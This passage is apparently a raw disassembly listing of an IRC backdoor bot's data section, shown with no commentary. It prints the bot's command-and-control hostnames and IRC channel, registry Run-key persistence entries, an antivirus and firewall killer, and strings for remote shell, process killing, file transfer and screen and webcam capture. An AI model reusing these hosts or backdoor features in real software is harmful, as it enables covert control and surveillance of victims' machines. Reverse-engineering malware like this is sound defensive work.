aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4235C9+119o
		align 10h
asc_427C10	db 0Ah			; DATA XREF: sub_4235C9+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_4235C9+D3o
		db 0Ah
		db 'Program: ',0
		align 10h
a___		db '...',0              ; DATA XREF: sub_4235C9+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_4235C9+7Do
		align 10h
dword_427C50	dd 0FFFFFFFFh, 423DE5h,	423DE9h	; DATA XREF: sub_423CEC+5o
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_4247EC+Ao
		align 10h
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_424D78+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_424D78+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_424D78+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_4256C2:loc_4257B7o
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_4256C2+D8o
		align 10h
a1Ind		db '1#IND',0            ; DATA XREF: sub_4256C2+C7o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_4256C2+ADo
		align 10h
dword_427CF0	dd 0FFFFFFFFh, 4260BAh,	4260BEh, 0FFFFFFFFh, 426129h, 42612Dh
					; DATA XREF: sub_425F03+5o
		dd 427E2Ch
off_427D0C	dd offset loc_4264E2	; DATA XREF: sub_4264BA+8o
					; sub_4264FE+2Co ...
		dd offset sub_4264D5
		dd offset sub_4266F6
		dd offset dword_427E78
off_427D1C	dd offset sub_42654C	; DATA XREF: sub_4264FE+3Ao
					; sub_426568o ...
		dd offset sub_4264D5
		dd offset loc_426732
dword_427D28	dd 0			; DATA XREF: sub_4264FE+16o
					; sub_4265D0+16o
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_426573+11o
		dd offset dword_427EC4
off_427D48	dd offset sub_42665B	; DATA XREF: sub_426677o
					; sub_42669A+37o ...
		dd offset sub_4264D5
		dd offset loc_426714
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_42669A+11o
		dd offset dword_427F08
off_427D68	dd offset loc_4267F7	; DATA XREF: sub_4267E2o
					; ___:off_43D084o ...
		dd offset dword_427F38
off_427D70	dd offset loc_426813	; DATA XREF: sub_42682F+8o
					; sub_42686C+8o ...
		dd offset sub_4268CC
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_4268CC+7o
		align 10h
dword_427D90	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_4268D9+Eo
		dd 3, 19930520h, 2 dup(0)
dword_427DB0	dd 0FFFFFFFFh, 426A8Ah,	426A8Eh, 0FFFFFFFFh, 426B07h, 426B0Bh
					; DATA XREF: sub_426988+5o
dword_427DC8	dd 0FFFFFFFFh, 426CFFh,	426D03h, 0FFFFFFFFh, 426D5Ch, 426D60h
					; DATA XREF: sub_426C13+5o
		dd 43D084h, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_427DF8	dd offset off_43D09C	; DATA XREF: ___:00427E10o
					; ___:00427E5Co ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427DF8
		dd offset dword_427DC8+18h
dword_427E18	dd 3 dup(0)		; DATA XREF: ___:00427E3Co
		dd 2, 427E10h, 3 dup(0)
		dd offset off_43D09C
		dd offset dword_427E18+4
off_427E40	dd offset off_43D0BC	; DATA XREF: ___:00427E58o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E40
		dd offset off_427DF8
		dd offset dword_427DC8+18h
		dd 0
		db    0			; DATA XREF: ___:00427E88o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 427E58h
dword_427E78	dd 3 dup(0)		; DATA XREF: ___:00427D18o
		dd offset off_43D0BC
		dd offset unk_427E68
off_427E8C	dd offset off_43D0DC	; DATA XREF: ___:00427EA4o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E8C
		dd offset off_427DF8
		dd offset dword_427DC8+18h
dword_427EB0	dd 3 dup(0)		; DATA XREF: ___:00427ED4o
		dd 3, 427EA4h
dword_427EC4	dd 3 dup(0)		; DATA XREF: ___:00427D44o
		dd offset off_43D0DC
		dd offset dword_427EB0+4
off_427ED8	dd offset off_43D100	; DATA XREF: ___:00427EF0o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427ED8
		dd 0
		db    0			; DATA XREF: ___:00427F18o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 427EF0h
dword_427F08	dd 3 dup(0)		; DATA XREF: ___:00427D64o
		dd offset off_43D100
		dd offset unk_427EF8
		dd offset dword_427DC8+18h
dword_427F20	dd 4 dup(0)		; DATA XREF: ___:00427F48o
		dd 1, 427F1Ch
dword_427F38	dd 3 dup(0)		; DATA XREF: ___:00427D6Co
		dd offset off_43D084
		dd offset dword_427F20+8
		align 10h
dword_427F50	dd 19930520h, 2, 427F70h, 5 dup(0) ; DATA XREF:	___:loc_426DF7o
		dd 0FFFFFFFFh, 426DE0h,	0
		dd offset sub_426DD8
dword_427F80	dd 19930520h, 2, 427FA0h, 5 dup(0) ; DATA XREF:	___:loc_426E14o
		dd 0FFFFFFFFh, 426E04h,	0
		dd offset loc_426E0C
dword_427FB0	dd 19930520h, 2, 427FD0h, 1, 427FE0h, 3	dup(0) ; DATA XREF: ___:loc_426E20o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 427FF8h, 4	dup(0)
; ---------------------------------------------------------------------------
		retf	40D7h
; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 426E2Ah
dword_428010	dd 19930520h, 1, 428008h, 5 dup(0) ; DATA XREF:	___:loc_426E32o
		dd offset off_43D084
		align 8
		dd 0FFFFFFFFh, 0
		dd 0Ch,	42686Ch, 0
		dd offset off_43D09C
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	426618h, 0
		dd offset off_43D0BC
		align 10h
		dd 0FFFFFFFFh, 0
dword_428078	dd 1Ch,	426682h, 3, 428064h, 428048h, 42802Ch ;	DATA XREF: ___:0042809Co
dword_428090	dd 0			; DATA XREF: sub_426573+2Eo
					; sub_4266F6+4Bo
		dd offset sub_426568
		dd 0
		dd offset dword_428078+8
		dd 0FFFFFFFFh, 426E3Ch
dword_4280A8	dd 19930520h, 1, 4280A0h, 4 dup(0) ; DATA XREF:	___:loc_426E44o
		dd 0FFFFFFFFh, 426E4Eh
dword_4280CC	dd 19930520h, 1, 4280C4h, 4 dup(0) ; DATA XREF:	___:loc_426E56o
		dd 0FFFFFFFFh, 426E60h
dword_4280F0	dd 19930520h, 1, 4280E8h, 5 dup(0) ; DATA XREF:	___:loc_426E68o
		dd offset off_43D0DC
		align 8
		dd 0FFFFFFFFh, 0
dword_428120	dd 1Ch,	4266DEh, 3, 42810Ch, 428048h, 42802Ch ;	DATA XREF: ___:00428144o
dword_428138	dd 0			; DATA XREF: sub_42669A+2Eo
					; sub_4266F6+2Do
		dd offset sub_426677
		dd 0
		dd offset dword_428120+8
		dd 0FFFFFFFFh, 426E72h
dword_428150	dd 19930520h, 1, 428148h, 4 dup(0) ; DATA XREF:	___:loc_426E7Ao
dword_42816C	dd 2, 428048h, 42802Ch	; DATA XREF: ___:00428184o
dword_428178	dd 0			; DATA XREF: sub_4266F6+Fo
		dd offset sub_4264BA
		dd 0
		dd offset dword_42816C
		dd 5 dup(426C176Eh), 5 dup(2C04C300h), 5 dup(4B4199A0h)
		dd 7Ah dup(0)
		dd 4B4199A0h, 0
		dd 426C176Eh, 15h dup(0)
		dd 2C04C300h, 2FCh dup(0)
dword_429000	dd 0			; DATA XREF: ___:0041B7A3o
		dd offset loc_401205
		dd offset sub_40D878
		dd offset sub_40D89A
		dd offset dword_40E504+1CFh
dword_429014	dd 0			; DATA XREF: ___:0041B79Eo
dword_429018	dd 0			; DATA XREF: ___:0041B794o
		dd offset sub_41D052
		dd offset sub_42026D
		dd offset sub_423936
		dd offset word_424752
dword_42902C	dd 0			; DATA XREF: ___:loc_41B78Fo
dword_429030	dd 0			; DATA XREF: sub_41B7D3+65o
		dd offset sub_4239DB
dword_429038	dd 0			; DATA XREF: sub_41B7D3:loc_41B833o
dword_42903C	dd 0			; DATA XREF: sub_41B7D3+76o
		dd offset byte_424763
dword_429044	dd 3 dup(0)		; DATA XREF: sub_41B7D3:loc_41B844o
dword_429050	dd 80000002h, 429174h, 80000002h, 4291A4h, 80000001h, 429174h
					; DATA XREF: sub_401000+7o
dword_429068	dd 6272h		; DATA XREF: sub_401000+63o
					; sub_4010AB+Bo ...
dword_42906C	dd 1B58h		; DATA XREF: ___:004016C5r
					; ___:0040175Ar
dword_429070	dd 0C8Bh		; DATA XREF: ___:004017A6r
dword_429074	dd 7E4h			; DATA XREF: sub_401ACD:loc_40461Br
dword_429078	dd 45h			; DATA XREF: sub_401ACD+2088r
					; sub_40BACD+3Br
dword_42907C	dd 7D1h			; DATA XREF: sub_401ACD:loc_403C43r
					; sub_40BACD:loc_40BEBEr
dword_429080	dd 201h			; DATA XREF: sub_401ACD:loc_403DCFr
word_429084	dw 7C7h			; DATA XREF: sub_401ACD:loc_40473Er
		align 4
dword_429088	dd 1			; DATA XREF: sub_401ACD+65Fr
dword_42908C	dd 1			; DATA XREF: ___:0040135Er
dword_429090	dd 1			; DATA XREF: ___:loc_401562r
					; sub_418359+Cr
byte_429094	db 2Eh			; DATA XREF: sub_401ACD+A92r
					; sub_401ACD+B4Br ...
		align 4
dword_429098	dd 0Ah			; DATA XREF: sub_40ACB5+3Ar
					; sub_40ACB5+60r ...
dword_42909C	dd 4			; DATA XREF: sub_4017ED+78r
					; sub_401ACD+279r ...
dword_4290A0	dd 1			; DATA XREF: sub_4017ED+72r
					; sub_401ACD+273r
aDark		db 'Dark',0             ; DATA XREF: ___:0040127Eo
					; sub_401ACD:loc_4044A0o ...
		align 4
aAbosel7V4	db 'abosel7 v4',0       ; DATA XREF: sub_401ACD:loc_404945o
		align 4
aCool		db 'cool',0             ; DATA XREF: sub_401ACD+7DDBo
					; sub_401ACD+7EAAo
		align 10h
aScorti1_dns2go	db 'scorti1.dns2go.com',0 ; DATA XREF: ___:004016B1o
					; ___:0040174Bo
		align 4
aFaak		db '#FAAK#',0           ; DATA XREF: ___:004016D1o
					; ___:00401761o ...
		align 4
aSaad_		db 'saad.',0            ; DATA XREF: ___:004016E8o
					; ___:00401773o
		align 4
byte_4290E4	db 73h			; DATA XREF: ___:loc_401789r
					; ___:00401797o
aAber_ircqforum	db 'aber.ircqforum.com',0
aFaak_0		db '#FAAK#',0           ; DATA XREF: ___:004017ADo
		align 10h
aSaad__0	db 'saad.',0            ; DATA XREF: ___:004017BFo
		align 4
byte_429108	db 77h			; DATA XREF: ___:00401364o
					; ___:00401388w ...
		db 69h,	6Eh, 64h
		dd 72657373h, 652E6376h, 6578h
dword_429118	dd 6E6E6977h, 61622E74h, 74h ; DATA XREF: ___:00411C50o
aWindowsServces	db 'Windows Servces Agent',0 ; DATA XREF: sub_401000+Eo
		align 4
asc_42913C:				; DATA XREF: ___:0040AD34o
		unicode	0, <->,0
aWinsys_dat	db 'winsys.dat',0
		align 4
aXI		db '-x+i',0             ; DATA XREF: sub_401ACD+7F26o
		align 4
aF		db '#f',0               ; DATA XREF: sub_401ACD+1D45o
					; sub_401ACD+303Fo ...
		align 4
aF_0		db '#f',0               ; DATA XREF: sub_401ACD+44A2o
		align 4
aF_1		db '#f',0               ; DATA XREF: sub_401ACD+40C4o
					; sub_401ACD+4216o
		align 10h
off_429160	dd offset a@admin_com	; DATA XREF: sub_401ACD:loc_4098FBo
					; "*@admin.com"
off_429164	dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8C3r
					; sub_401ACD+7E4Ao
					; "mIRC	v6.16 Khaled Mardam-Bey"
		dd offset aMircV6_17Khale ; "mIRC v6.17	Khaled Mardam-Bey"
		dd offset aMircV6_20Khale ; "mIRC v6.20	Khaled Mardam-Bey"
		dd offset aMircV6_21Khale ; "mIRC v6.21	Khaled Mardam-Bey"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 4
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_419E79+28o
					; sub_41A19D+28o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_419E79+D4o
					; sub_41A19D+D4o
		align 4
		dd offset aAdministrato_0 ; "administrator"
		dd 0
		dd offset dword_43D128
		dd offset aAdministrato_0 ; "administrator"
		align 10h
dword_429230	dd 10h			; DATA XREF: sub_401ACD+AFBr
					; sub_401ACD+B27r ...
aAdministrato_0	db 'administrator',0    ; DATA XREF: ___:0042921Co
					; ___:00429228o
		align 4
aMircV6_21Khale	db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429170o
		align 4
aMircV6_20Khale	db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co
		align 4
aMircV6_17Khale	db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o
		align 4
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429164o
		align 4
a@admin_com	db '*@admin.com',0      ; DATA XREF: ___:off_429160o
dword_4292D0	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:0040168Co
aFailedToStartS	db '- Failed to start server, error: <%d>.',0
		align 4
dword_429304	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:00401641o
aServerRunningO	db '- Server running on Port: 113.',0
		align 10h
unk_429330	db  2Dh	; -		; DATA XREF: ___:00401614o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aFailedToStartA	db ' Failed to start AV/FW killer thread, error: <%d>.',0
		align 10h
unk_429370	db  2Dh	; -		; DATA XREF: ___:004015C3o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aAvFwKillerActi	db ' AV/FW Killer active.',0
		align 4
dword_429394	dd 234032Dh, 6E69616Dh,	202D0203h, 20746F42h, 72617473h
					; DATA XREF: ___:00401585o
		dd 2E646574h, 0
dword_4293B0	dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o
dword_4293BC	dd 255C7325h, 73h	; DATA XREF: ___:004013AAo
					; sub_415A2F+7Eo
dword_4293C4	dd 73257325h, 0		; DATA XREF: ___:0040132Eo
					; sub_40F6B3+EAo ...
unk_4293CC	db  2Dh	; -		; DATA XREF: sub_4017ED+F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aConnectedToS_	db 'Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_401955+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_401955+35o
		align 4
aModeSS_0	db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F2Eo
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F16o
		align 4
unk_429434	db  2Dh	; -		; DATA XREF: sub_401ACD+7F09o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedIn_	db 'User: %s logged in.',0
unk_429454	db  2Dh	; -		; DATA XREF: sub_401ACD+7EECo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPasswordAccept	db 'Password accepted.',0
		align 4
unk_429474	db  2Dh	; -		; DATA XREF: sub_401ACD+7E8Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedHostAuth	db '*Failed host auth by: (%s!%s).',0
		align 10h
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7E62o
		align 4
unk_4294C8	db  2Dh	; -		; DATA XREF: sub_401ACD+7E24o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedPassAuth	db '*Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7E12o
					; sub_401ACD+7E79o
		align 10h
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7DFBo
		align 4
asc_429548:				; DATA XREF: sub_401ACD+7DCBo
		unicode	0, <~>,0
unk_42954C	db  2Dh	; -		; DATA XREF: sub_401ACD+7D7Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRandomNickChan	db 'Random nick change: %s',0
		align 10h
unk_429570	db  2Dh	; -		; DATA XREF: sub_401ACD+7D0Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnectingIn	db 'Reconnecting in %s seconds',0
		align 4
unk_429598	db  2Dh	; -		; DATA XREF: sub_401ACD+7CC3o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnecting_0	db 'Reconnecting in %s ms',0
		align 4
unk_4295BC	db  2Dh	; -		; DATA XREF: sub_401ACD+7CA1o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNickChangedToS	db 'Nick changed to: ',27h,'%s',27h,'.',0
		align 10h
unk_4295E0	db  2Dh	; -		; DATA XREF: sub_401ACD+7C81o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChannelS	db 'Joined channel: ',27h,'%s',27h,'.',0
		align 4
unk_429604	db  2Dh	; -		; DATA XREF: sub_401ACD+7C5Ao
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPartedChannelS	db 'Parted channel: ',27h,'%s',27h,'.',0
		align 4
dword_429628	dd 234032Dh, 6E69616Dh,	202D0302h, 20435249h, 3A776152h
					; DATA XREF: sub_401ACD+7C3Ao
		dd 2E732520h, 0
unk_429644	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409684o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToKillTh	db '- Failed to kill thread: %s.',0
		align 10h
unk_429670	db  2Dh	; -		; DATA XREF: sub_401ACD+7BB0o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aKilledThreadS_	db '- Killed thread: %s.',0
		align 4
unk_429694	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4095FCo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aNoActiveThread	db '- No active threads found.',0
unk_4296BC	db  2Dh	; -		; DATA XREF: sub_401ACD+7B25o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aStoppedDThread	db '- Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: sub_401ACD+7B0Bo
unk_4296E8	db  2Dh	; -		; DATA XREF: sub_401ACD+79FEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrefixChangedT	db 'Prefix changed to: ',27h,'%c',27h,'.',0
		align 10h
unk_429710	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4094B2o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s',0
unk_429734	db  2Dh	; -		; DATA XREF: sub_401ACD+79DBo
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFileOpenedS	db ' File opened: %s',0
		align 4
unk_429754	db  2Dh	; -		; DATA XREF: sub_401ACD+79B7o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aServerChangedT	db 'Server changed to: ',27h,'%s',27h,'.',0
		align 4
unk_42977C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409467o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aCouldnTResol_0	db '- Couldn',27h,'t resolve hostname.',0
		align 4
unk_4297A4	db  2Dh	; -		; DATA XREF: sub_401ACD+796Co
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS_	db '- Lookup: %s -> %s.',0
		align 4
unk_4297C4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4093FCo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTermin	db ' Failed to terminate process: %s',0
		align 4
unk_4297F4	db  2Dh	; -		; DATA XREF: sub_401ACD+7925o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledS	db ' Process killed: %s',0
unk_429814	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409398o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTerm_0	db ' Failed to terminate process ID: %s',0
unk_429844	db  2Dh	; -		; DATA XREF: sub_401ACD+78C4o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledI	db ' Process killed ID: %s',0
		align 4
dword_429868	dd 234032Dh, 656C6966h,	202D0302h, 656C6544h, 20646574h
					; DATA XREF: sub_401ACD+7884o
		dd 27732527h, 2Eh
unk_429884	db  2Dh	; -		; DATA XREF: sub_401ACD+7802o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aSendFileSUserS	db '- Send File: %s, User: %s.',0
dword_4298A8	dd 234032Dh, 656C6966h,	202D0302h, 7473694Ch, 7325203Ah
					; DATA XREF: sub_401ACD+7785o
		dd 0
unk_4298C0	db  2Dh	; -		; DATA XREF: sub_401ACD+7754o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToStartC	db ' Failed to start connection thread, error: <%d>.',0
		align 10h
dword_429900	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 7325203Ah
					; DATA XREF: sub_401ACD+76E5o
		dd 2Eh
dword_429918	dd 234032Dh, 6372696Dh,	202D0302h, 6D6D6F43h, 20646E61h
					; DATA XREF: sub_401ACD:loc_40913Fo
		dd 746E6573h, 2Eh
unk_429934	db  2Dh	; -		; DATA XREF: sub_401ACD+766Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 69h,	72h, 63h
		db    2
		db 3, 2Dh, 20h
aClientNotOpen_	db 'Client not open.',0
		align 4
dword_429954	dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
					; DATA XREF: sub_401ACD+762Fo
		dd 732520h
unk_42996C	db  2Dh	; -		; DATA XREF: sub_401ACD+7610o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aErrorSendingTo	db '- Error sending to remote shell.',0
		align 4
asc_429998:				; DATA XREF: sub_401ACD+75F8o
					; sub_40F6B3+FBo ...
		dw 0Ah
		unicode	0, <>,0
unk_42999C	db  2Dh	; -		; DATA XREF: sub_401ACD+75CEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileFailed	db 'Read file failed: %s',0
		align 10h
unk_4299C0	db  2Dh	; -		; DATA XREF: sub_401ACD+75C1o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileComple	db 'Read file complete: %s',0
		align 4
unk_4299E4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40901Eo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_0	db '- Invalid parameters for amateur video capture.',0
		align 4
unk_429A24	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409014o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCapt	db '- Error while capturing amateur video from webcam.',0
unk_429A64	db  2Dh	; -		; DATA XREF: sub_401ACD+753Do
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aAmateurVideoSa	db '- Amateur video saved to: %s.',0
		align 10h
aVideo		db 'video',0            ; DATA XREF: sub_401ACD:loc_408F86o
		align 4
unk_429A98	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408F73o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_1	db '- Invalid parameters for webcam capture.',0
		align 10h
unk_429AD0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408F6Co
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_0	db '- Error while capturing from webcam.',0
		align 4
unk_429B04	db  2Dh	; -		; DATA XREF: sub_401ACD+748Fo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aWebcamCaptureS	db '- Webcam capture saved to: %s.',0
aFrame		db 'frame',0            ; DATA XREF: sub_401ACD:loc_408EE5o
		align 4
unk_429B38	db  2Dh	; -		; DATA XREF: sub_401ACD+740Bo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverListComp	db '- Driver list complete.',0
		align 10h
unk_429B60	db  2Dh	; -		; DATA XREF: sub_401ACD+73D8o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverDSS_	db '- Driver #%d - %s - %s.',0
		align 4
aDrivers	db 'drivers',0          ; DATA XREF: sub_401ACD:loc_408E58o
unk_429B90	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408E45o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aNoFilenameSpec	db '- No filename specified for screen capture.',0
		align 4
unk_429BCC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408E3Eo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_1	db '- Error while capturing screen.',0
		align 4
unk_429BFC	db  2Dh	; -		; DATA XREF: sub_401ACD+7361o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aScreenCaptureS	db '- Screen capture saved to: %s.',0
aScreen		db 'screen',0           ; DATA XREF: sub_401ACD:loc_408DFDo
		align 10h
dword_429C30	dd 234032Dh, 6E69616Dh,	202D0302h, 68746547h, 3A74736Fh
					; DATA XREF: sub_401ACD+7318o
		dd 2E732520h, 0
unk_429C4C	db  2Dh	; -		; DATA XREF: sub_401ACD+72D2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUnableToExtrac	db 'Unable to extract Gethost command.',0
		align 4
unk_429C7C	db  2Dh	; -		; DATA XREF: sub_401ACD+72B6o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aGethostSComman	db 'Gethost: %s, Command: %s',0
		align 4
unk_429CA4	db  2Dh	; -		; DATA XREF: sub_401ACD+7209o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAliasAddedS_	db 'Alias added: %s.',0
		align 4
unk_429CC4	db  2Dh	; -		; DATA XREF: sub_401ACD+71D5o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrivmsgSS_	db 'Privmsg: %s: %s.',0
		align 4
unk_429CE4	db  2Dh	; -		; DATA XREF: sub_401ACD+7180o
